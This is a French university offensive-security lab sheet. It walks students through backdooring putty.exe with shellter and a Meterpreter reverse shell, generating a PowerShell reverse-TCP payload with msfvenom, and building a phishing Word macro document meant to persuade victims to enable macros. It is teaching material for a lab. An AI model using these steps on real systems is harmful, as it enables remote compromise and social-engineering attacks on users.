Vous êtes sur la page 1sur 8

TP1

Il suffit d’un clic

EFREI
ATTACK&DEFENSE
Note : Normalement ce TP aurait impliqué un environnement beaucoup plus complexe, impliquant un
serveur de messagerie servant un Webmail, et l’attaquant (vous) envoyant un courriel à la victime
comportant soit une pièce jointe, soit un lien vers un fichier malveillant.

Pour des raisons logistiques (i.e. : vous éviter d’installer tout ça), on va se contenter de générer ces
fameux documents malveillants, et simuler des clics dessus.

Etape préparatoire
Les environnements suivants sont requis pour l’exercice

• Windows 10
o Avec Microsoft Office (2016 par exemple)
▪ Une version d’essai est tout à fait acceptable pour cet exercice
o Sans connectivité à internet (ou alors très ponctuellement)
o L’antivirus doit être désactivé (on va voir de manière assez sommaire comment
contourner quelques antivirus mais ce n’est pas le but ultime ici)

• Environnement disposant d’outils d’attaque


o Il peut s’agir de Kali, ParrotOS, BlackArch, …
o Vous pouvez installer un proxy dessus (squid) et le configurer sur la VM Windows 10
pour que cette dernière dispose d’un accès à internet lorsque cela est requis. La
configuration de Squid est en dehors du scope de ce cours.
o Outil « shellter » installé (ne pas hésiter à RTFM si l’installation pose des problèmes)
Installation et utilisation de shellter
Shellter peut être utilisé pour infecter un fichier exécutable légitime. C’est un moyen comme un autre
d’essayer de contourner des antivirus. Dans cet exercice, nous allons utiliser shellter comme suit :

• operation mode : Auto


• PE Target : exe de votre choix (ici j’ai choisi un putty.exe en 32b)
• stealth mode : Y
• listed payload : L
• select payload by index : 1
• LHOST/LPORT : ip de votre kali + port pas utilisé (par exemple 8080 ou autre)

On va maintenant lancer metasploit (msfdb run / msfconsole selon votre installation) et créer un
handler qui va réceptionner la connexion :

En parallèle (dans un autre onglet (CTRL+Shift+t dans le terminal par défaut sous Kali)) on va lancer un
serveur http basique en Python3 dans le même dossier que là où se situe la version vérolée de votre
exécutable :

• (sudo) python3 -m http.server 80


• Vous pouvez remplacer le port par celui que vous voulez. N’oubliez pas le sudo s’il s’agit d’un
port privilégié !

Depuis votre VM sous Windows 10, ouvrez un navigateur et allez à l’adresse


• http://<ip de kali>/votre-prog.exe
o pour moi c’est http://10.10.10.10/putty.exe

Acceptez le téléchargement, déposez-le par exemple sur le bureau et double-cliquez dessus (vous
pouvez aussi faire « télécharger et exécuter » ou tout autre option équivalente selon votre navigateur.
Vous devriez voir ce genre d’informations dans l’onglet où vous avez lancé votre serveur http :

Dans l’onglet où vous avez votre handler Metasploit, vous devriez voir apparaître ce genre d’infos une
fois que vous avez cliqué sur l’exécutable sous Windows :

Comme mentionné plus haut en introduction de ce document, dans un scénario d’attaque plus réaliste,
un attaquant aurait envoyé un e-mail à sa victime avec cet exécutable en pièce jointe, prétextant une
mise à jour importante à installer en se faisant passer pour le support technique (si si, ça marche
réellement), ou l’aurait déposé sur un serveur http et aurait ajouté un lien vers le fichier en demandant
de cliquer dessus. Une autre possibilité, aurait été que l’attaquant peut aussi compromettre un serveur
de téléchargement d’un logiciel légitime (celui de Putty par exemple) et remplace l’exécutable par sa
version vérolée. On parle ici de « supply chain attack » (attaque de la chaine d’approvisionnement).
Document office malveillant

Dans cet exercice, on va voir les bases permettant de faire la même chose avec un document office
(disons un document Word), dont il sera beaucoup plus facile de faire gober à la victime qu’elle doit
l’ouvrir (plein de scénarios s’ouvrent à vous).

Dans Word, « Affichage » « Macros » et créez une nouvelle macro :

Dans « macros disponibles dans » choisissez « ce document », autrement ça ne marchera pas sur
d’autres machines

Créez une macro avec un contenu exécutant un calc.exe, comme :


Sauvegardez le document au format .doc (pas .docx). Fermez-le et rouvrez-le, vous devriez avoir un
message vous informant que les macros sont désactivées, activez-les (c’est ce que font des vrais gens
en entreprise) :

Que se passe-t‘il une fois que vous avez activé les macros ?
Powershell & Meterpreter
Nous avons vu plus haut comment générer un payload Meterpreter embarqué dans un fichier
exécutable. Il est possible de lancer un Meterpreter depuis PowerShell, via une commande encodée
(en base64).

Réutilisez votre handler précédent (celui de la première partie du TP) et saisissez la commande
suivante dans un terminal de votre VM d’attaque :

• msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=8080 -f psh-cmd

Vous devriez vous retrouver avec une commande PowerShell à rallonge :

Gardez la partie qui commence par « powershell.exe » et exécutez-la depuis votre machine Windows
10. Vous devriez avoir une connexion sur votre handler Metasploit :
Mélangeons un peu tout
Nous avons vu comment infecter un exécutable légitime (comme PuTTY) avec un payload de type
Meterpreter. Nous avons ensuite vu comment générer un document Word contenant une macro
exécutant une commande (ici un simple calc.exe) et nous avons enfin terminé en exécutant une
commande PowerShell exécutant un payload Meterpreter.

Concevez un document office (Word par exemple, mais vous pouvez essayer Excel également) qui,
lorsqu’il est ouvert (et que l’utilisateur active les macros) exécute un payload de type Meterpreter.

La conception d’un document convainquant donnant réellement envie d’activer les macros sera
appréciée.

Vous aimerez peut-être aussi